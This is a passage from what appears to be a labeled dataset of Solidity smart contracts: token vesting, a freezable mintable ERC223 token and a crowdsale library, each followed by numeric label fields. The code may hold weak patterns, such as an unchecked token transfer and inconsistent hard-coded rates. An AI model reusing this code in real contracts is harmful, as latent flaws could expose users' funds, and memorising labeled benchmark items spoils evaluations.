uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processAirdrop(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
} | 1 | 3,926 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
token.transfer(to, value);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.transfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 453 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Delphi Technologies Token";
string constant TOKEN_SYMBOL = "DTT";
bool constant PAUSED = true;
address constant TARGET_USER = 0xc9060fcf7bD238A359DEA06b6421c7F06E88Dc2b;
uint constant START_TIME = 1523734197;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 913 |
pragma solidity ^0.4.15;
contract DLBXCrowdsale {
using DirectCrowdsaleLib for DirectCrowdsaleLib.DirectCrowdsaleStorage;
DirectCrowdsaleLib.DirectCrowdsaleStorage sale;
uint256 public discountEndTime;
function DLBXCrowdsale(
address owner,
uint256[] saleData,
uint256 fallbackExchangeRate,
uint256 capAmountInCents,
uint256 endTime,
uint8 percentBurn,
uint256 _discountEndTime,
CrowdsaleToken token)
{
sale.init(owner, saleData, fallbackExchangeRate, capAmountInCents, endTime, percentBurn, token);
discountEndTime = _discountEndTime;
}
event LogTokensBought(address indexed buyer, uint256 amount);
event LogAddressCapExceeded(address indexed buyer, uint256 amount, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
event LogTokenPriceChange(uint256 amount, string Msg);
event LogTokensWithdrawn(address indexed _bidder, uint256 Amount);
event LogWeiWithdrawn(address indexed _bidder, uint256 Amount);
event LogOwnerEthWithdrawn(address indexed owner, uint256 amount, string Msg);
event LogNoticeMsg(address _buyer, uint256 value, string Msg);
function () payable {
sendPurchase();
}
function sendPurchase() payable returns (bool) {
if (now > discountEndTime){
if(msg.value < 16666666666666666666){
sale.base.tokensPerEth = 400;
} else {
sale.base.tokensPerEth = 600;
}
} else {
if(msg.value < 14333333333333333333){
sale.base.tokensPerEth = 462;
} else {
sale.base.tokensPerEth = 698;
}
}
return sale.receivePurchase(msg.value);
}
function withdrawTokens() returns (bool) {
return sale.withdrawTokens();
}
function withdrawLeftoverWei() returns (bool) {
return sale.withdrawLeftoverWei();
}
function withdrawOwnerEth() returns (bool) {
return sale.withdrawOwnerEth();
}
function crowdsaleActive() constant returns (bool) {
return sale.crowdsaleActive();
}
function crowdsaleEnded() constant returns (bool) {
return sale.crowdsaleEnded();
}
function setTokenExchangeRate(uint256 _exchangeRate) returns (bool) {
return sale.setTokenExchangeRate(_exchangeRate);
}
function setTokens() returns (bool) {
return sale.setTokens();
}
function getOwner() constant returns (address) {
return sale.base.owner;
}
function getTokensPerEth() constant returns (uint256) {
if (now > discountEndTime){
return 400;
} else {
return 461;
}
}
function getExchangeRate() constant returns (uint256) {
return sale.base.exchangeRate;
}
function getCapAmount() constant returns (uint256) {
return sale.base.capAmount;
}
function getStartTime() constant returns (uint256) {
return sale.base.startTime;
}
function getEndTime() constant returns (uint256) {
return sale.base.endTime;
}
function getEthRaised() constant returns (uint256) {
return sale.base.ownerBalance;
}
function getContribution(address _buyer) constant returns (uint256) {
return sale.base.hasContributed[_buyer];
}
function getTokenPurchase(address _buyer) constant returns (uint256) {
return sale.base.withdrawTokensMap[_buyer];
}
function getLeftoverWei(address _buyer) constant returns (uint256) {
return sale.base.leftoverWei[_buyer];
}
function getSaleData() constant returns (uint256) {
if (now > discountEndTime){
return 75;
} else {
return 65;
}
}
function getTokensSold() constant returns (uint256) {
return sale.base.startingTokenBalance - sale.base.withdrawTokensMap[sale.base.owner];
}
function getPercentBurn() constant returns (uint256) {
return sale.base.percentBurn;
}
}
library DirectCrowdsaleLib {
using BasicMathLib for uint256;
using CrowdsaleLib for CrowdsaleLib.CrowdsaleStorage;
struct DirectCrowdsaleStorage {
CrowdsaleLib.CrowdsaleStorage base;
}
event LogTokensBought(address indexed buyer, uint256 amount);
event LogAddressCapExceeded(address indexed buyer, uint256 amount, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
event LogTokenPriceChange(uint256 amount, string Msg);
function init(DirectCrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
{
self.base.init(_owner,
_saleData,
_fallbackExchangeRate,
_capAmountInCents,
_endTime,
_percentBurn,
_token);
}
function receivePurchase(DirectCrowdsaleStorage storage self, uint256 _amount) returns (bool) {
require(msg.sender != self.base.owner);
require(self.base.validPurchase());
require((self.base.ownerBalance + _amount) <= self.base.capAmount);
if ((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
while((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
self.base.currentMilestone += 1;
}
self.base.changeTokenPrice(self.base.saleData[self.base.milestoneTimes[self.base.currentMilestone]][0]);
LogTokenPriceChange(self.base.tokensPerEth,"Token Price has changed!");
}
uint256 _numTokens;
uint256 _newBalance;
uint256 _weiTokens;
uint256 _zeros;
uint256 _leftoverWei;
uint256 _remainder;
bool err;
(err,_weiTokens) = _amount.times(self.base.tokensPerEth);
require(!err);
if(self.base.tokenDecimals <= 18){
_numTokens = _weiTokens/1000000000000000000;
_leftoverWei = _weiTokens % 1000000000000000000;
_leftoverWei = _leftoverWei/self.base.tokensPerEth;
self.base.leftoverWei[msg.sender] += _leftoverWei;
} else {
_zeros = 10**(uint256(self.base.tokenDecimals)-18);
_numTokens = _weiTokens*_zeros;
}
self.base.hasContributed[msg.sender] += _amount - _leftoverWei;
require(_numTokens <= self.base.token.balanceOf(this));
(err,_newBalance) = self.base.ownerBalance.plus(_amount-_leftoverWei);
require(!err);
self.base.ownerBalance = _newBalance;
self.base.withdrawTokensMap[msg.sender] += _numTokens;
(err,_remainder) = self.base.withdrawTokensMap[self.base.owner].minus(_numTokens);
self.base.withdrawTokensMap[self.base.owner] = _remainder;
LogTokensBought(msg.sender, _numTokens);
return true;
}
function setTokenExchangeRate(DirectCrowdsaleStorage storage self, uint256 _exchangeRate) returns (bool) {
return self.base.setTokenExchangeRate(_exchangeRate);
}
function setTokens(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.setTokens();
}
function getSaleData(DirectCrowdsaleStorage storage self, uint256 timestamp) returns (uint256[3]) {
return self.base.getSaleData(timestamp);
}
function getTokensSold(DirectCrowdsaleStorage storage self) constant returns (uint256) {
return self.base.getTokensSold();
}
function withdrawTokens(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawTokens();
}
function withdrawLeftoverWei(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawLeftoverWei();
}
function withdrawOwnerEth(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawOwnerEth();
}
function crowdsaleActive(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.crowdsaleActive();
}
function crowdsaleEnded(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.crowdsaleEnded();
}
function validPurchase(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.validPurchase();
}
}
library CrowdsaleLib {
using BasicMathLib for uint256;
struct CrowdsaleStorage {
address owner;
uint256 tokensPerEth;
uint256 capAmount;
uint256 startTime;
uint256 endTime;
uint256 exchangeRate;
uint256 ownerBalance;
uint256 startingTokenBalance;
uint256[] milestoneTimes;
uint8 currentMilestone;
uint8 tokenDecimals;
uint8 percentBurn;
bool tokensSet;
bool rateSet;
mapping (uint256 => uint256[2]) saleData;
mapping (address => uint256) hasContributed;
mapping (address => uint256) withdrawTokensMap;
mapping (address => uint256) leftoverWei;
CrowdsaleToken token;
}
event LogTokensWithdrawn(address indexed _bidder, uint256 Amount);
event LogWeiWithdrawn(address indexed _bidder, uint256 Amount);
event LogOwnerEthWithdrawn(address indexed owner, uint256 amount, string Msg);
event LogNoticeMsg(address _buyer, uint256 value, string Msg);
event LogErrorMsg(string Msg);
function init(CrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
{
require(self.capAmount == 0);
require(self.owner == 0);
require(_saleData.length > 0);
require((_saleData.length%3) == 0);
require(_endTime > _saleData[0]);
require(_capAmountInCents > 0);
require(_owner > 0);
require(_fallbackExchangeRate > 0);
require(_percentBurn <= 100);
self.owner = _owner;
self.capAmount = ((_capAmountInCents/_fallbackExchangeRate) + 1)*(10**18);
self.startTime = _saleData[0];
self.endTime = _endTime;
self.token = _token;
self.tokenDecimals = _token.decimals();
self.percentBurn = _percentBurn;
self.exchangeRate = _fallbackExchangeRate;
uint256 _tempTime;
for(uint256 i = 0; i < _saleData.length; i += 3){
require(_saleData[i] > _tempTime);
require(_saleData[i + 1] > 0);
require((_saleData[i + 2] == 0) || (_saleData[i + 2] >= 100));
self.milestoneTimes.push(_saleData[i]);
self.saleData[_saleData[i]][0] = _saleData[i + 1];
self.saleData[_saleData[i]][1] = _saleData[i + 2];
_tempTime = _saleData[i];
}
changeTokenPrice(self, _saleData[1]);
}
function crowdsaleActive(CrowdsaleStorage storage self) constant returns (bool) {
return (now >= self.startTime && now <= self.endTime);
}
function crowdsaleEnded(CrowdsaleStorage storage self) constant returns (bool) {
return now > self.endTime;
}
function validPurchase(CrowdsaleStorage storage self) internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
if (crowdsaleActive(self) && nonZeroPurchase) {
return true;
} else {
LogErrorMsg("Invalid Purchase! Check send time and amount of ether.");
return false;
}
}
function withdrawTokens(CrowdsaleStorage storage self) returns (bool) {
bool ok;
if (self.withdrawTokensMap[msg.sender] == 0) {
LogErrorMsg("Sender has no tokens to withdraw!");
return false;
}
if (msg.sender == self.owner) {
if(!crowdsaleEnded(self)){
LogErrorMsg("Owner cannot withdraw extra tokens until after the sale!");
return false;
} else {
if(self.percentBurn > 0){
uint256 _burnAmount = (self.withdrawTokensMap[msg.sender] * self.percentBurn)/100;
self.withdrawTokensMap[msg.sender] = self.withdrawTokensMap[msg.sender] - _burnAmount;
ok = self.token.burnToken(_burnAmount);
require(ok);
}
}
}
var total = self.withdrawTokensMap[msg.sender];
self.withdrawTokensMap[msg.sender] = 0;
ok = self.token.transfer(msg.sender, total);
require(ok);
LogTokensWithdrawn(msg.sender, total);
return true;
}
function withdrawLeftoverWei(CrowdsaleStorage storage self) returns (bool) {
require(self.hasContributed[msg.sender] > 0);
if (self.leftoverWei[msg.sender] == 0) {
LogErrorMsg("Sender has no extra wei to withdraw!");
return false;
}
var total = self.leftoverWei[msg.sender];
self.leftoverWei[msg.sender] = 0;
msg.sender.transfer(total);
LogWeiWithdrawn(msg.sender, total);
return true;
}
function withdrawOwnerEth(CrowdsaleStorage storage self) returns (bool) {
if ((!crowdsaleEnded(self)) && (self.token.balanceOf(this)>0)) {
LogErrorMsg("Cannot withdraw owner ether until after the sale!");
return false;
}
require(msg.sender == self.owner);
require(self.ownerBalance > 0);
uint256 amount = self.ownerBalance;
self.ownerBalance = 0;
self.owner.transfer(amount);
LogOwnerEthWithdrawn(msg.sender,amount,"Crowdsale owner has withdrawn all funds!");
return true;
}
function changeTokenPrice(CrowdsaleStorage storage self,uint256 _newPrice) internal returns (bool) {
require(_newPrice > 0);
uint256 result;
uint256 remainder;
result = self.exchangeRate / _newPrice;
remainder = self.exchangeRate % _newPrice;
if(remainder > 0) {
self.tokensPerEth = result + 1;
} else {
self.tokensPerEth = result;
}
return true;
}
function setTokenExchangeRate(CrowdsaleStorage storage self, uint256 _exchangeRate) returns (bool) {
require(msg.sender == self.owner);
require((now > (self.startTime - 3 days)) && (now < (self.startTime)));
require(!self.rateSet);
require(self.token.balanceOf(this) > 0);
require(_exchangeRate > 0);
uint256 _capAmountInCents;
uint256 _tokenBalance;
bool err;
(err, _capAmountInCents) = self.exchangeRate.times(self.capAmount);
require(!err);
_tokenBalance = self.token.balanceOf(this);
self.withdrawTokensMap[msg.sender] = _tokenBalance;
self.startingTokenBalance = _tokenBalance;
self.tokensSet = true;
self.exchangeRate = _exchangeRate;
self.capAmount = (_capAmountInCents/_exchangeRate) + 1;
changeTokenPrice(self,self.saleData[self.milestoneTimes[0]][0]);
self.rateSet = true;
LogNoticeMsg(msg.sender,self.tokensPerEth,"Owner has sent the exchange Rate and tokens bought per ETH!");
return true;
}
function setTokens(CrowdsaleStorage storage self) returns (bool) {
require(msg.sender == self.owner);
require(!self.tokensSet);
uint256 _tokenBalance;
_tokenBalance = self.token.balanceOf(this);
self.withdrawTokensMap[msg.sender] = _tokenBalance;
self.startingTokenBalance = _tokenBalance;
self.tokensSet = true;
return true;
}
function getSaleData(CrowdsaleStorage storage self, uint256 timestamp) constant returns (uint256[3]) {
uint256[3] memory _thisData;
uint256 index;
while((index < self.milestoneTimes.length) && (self.milestoneTimes[index] < timestamp)) {
index++;
}
if(index == 0)
index++;
_thisData[0] = self.milestoneTimes[index - 1];
_thisData[1] = self.saleData[_thisData[0]][0];
_thisData[2] = self.saleData[_thisData[0]][1];
return _thisData;
}
function getTokensSold(CrowdsaleStorage storage self) constant returns (uint256) {
return self.startingTokenBalance - self.token.balanceOf(this);
}
}
contract CrowdsaleToken {
using TokenLib for TokenLib.TokenStorage;
TokenLib.TokenStorage public token;
function CrowdsaleToken(address owner,
string name,
string symbol,
uint8 decimals,
uint256 initialSupply,
bool allowMinting)
{
token.init(owner, name, symbol, decimals, initialSupply, allowMinting);
}
function name() constant returns (string) {
return token.name;
}
function symbol() constant returns (string) {
return token.symbol;
}
function decimals() constant returns (uint8) {
return token.decimals;
}
function totalSupply() constant returns (uint256) {
return token.totalSupply;
}
function initialSupply() constant returns (uint256) {
return token.INITIAL_SUPPLY;
}
function balanceOf(address who) constant returns (uint256) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint256) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
function changeOwner(address newOwner) returns (bool ok) {
return token.changeOwner(newOwner);
}
function burnToken(uint256 amount) returns (bool ok) {
return token.burnToken(amount);
}
}
library TokenLib {
using BasicMathLib for uint256;
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string name;
string symbol;
uint256 totalSupply;
uint256 INITIAL_SUPPLY;
address owner;
uint8 decimals;
bool stillMinting;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerChange(address from, address to);
event Burn(address indexed burner, uint256 value);
event MintingClosed(bool mintingClosed);
function init(TokenStorage storage self,
address _owner,
string _name,
string _symbol,
uint8 _decimals,
uint256 _initial_supply,
bool _allowMinting)
{
require(self.INITIAL_SUPPLY == 0);
self.name = _name;
self.symbol = _symbol;
self.totalSupply = _initial_supply;
self.INITIAL_SUPPLY = _initial_supply;
self.decimals = _decimals;
self.owner = _owner;
self.stillMinting = _allowMinting;
self.balances[_owner] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool) {
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
require(!err);
self.balances[msg.sender] = balance;
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
returns (bool)
{
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
require(!err);
(err,balanceSpender) = _allowance.minus(_value);
require(!err);
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
function approveChange (TokenStorage storage self, address _spender, uint256 _valueChange, bool _increase)
returns (bool)
{
uint256 _newAllowed;
bool err;
if(_increase) {
(err, _newAllowed) = self.allowed[msg.sender][_spender].plus(_valueChange);
require(!err);
self.allowed[msg.sender][_spender] = _newAllowed;
} else {
if (_valueChange > self.allowed[msg.sender][_spender]) {
self.allowed[msg.sender][_spender] = 0;
} else {
_newAllowed = self.allowed[msg.sender][_spender] - _valueChange;
self.allowed[msg.sender][_spender] = _newAllowed;
}
}
Approval(msg.sender, _spender, _newAllowed);
return true;
}
function changeOwner(TokenStorage storage self, address _newOwner) returns (bool) {
require((self.owner == msg.sender) && (_newOwner > 0));
self.owner = _newOwner;
OwnerChange(msg.sender, _newOwner);
return true;
}
function mintToken(TokenStorage storage self, uint256 _amount) returns (bool) {
require((self.owner == msg.sender) && self.stillMinting);
uint256 _newAmount;
bool err;
(err, _newAmount) = self.totalSupply.plus(_amount);
require(!err);
self.totalSupply = _newAmount;
self.balances[self.owner] = self.balances[self.owner] + _amount;
Transfer(0x0, self.owner, _amount);
return true;
}
function closeMint(TokenStorage storage self) returns (bool) {
require(self.owner == msg.sender);
self.stillMinting = false;
MintingClosed(true);
return true;
}
function burnToken(TokenStorage storage self, uint256 _amount) returns (bool) {
uint256 _newBalance;
bool err;
(err, _newBalance) = self.balances[msg.sender].minus(_amount);
require(!err);
self.balances[msg.sender] = _newBalance;
self.totalSupply = self.totalSupply - _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
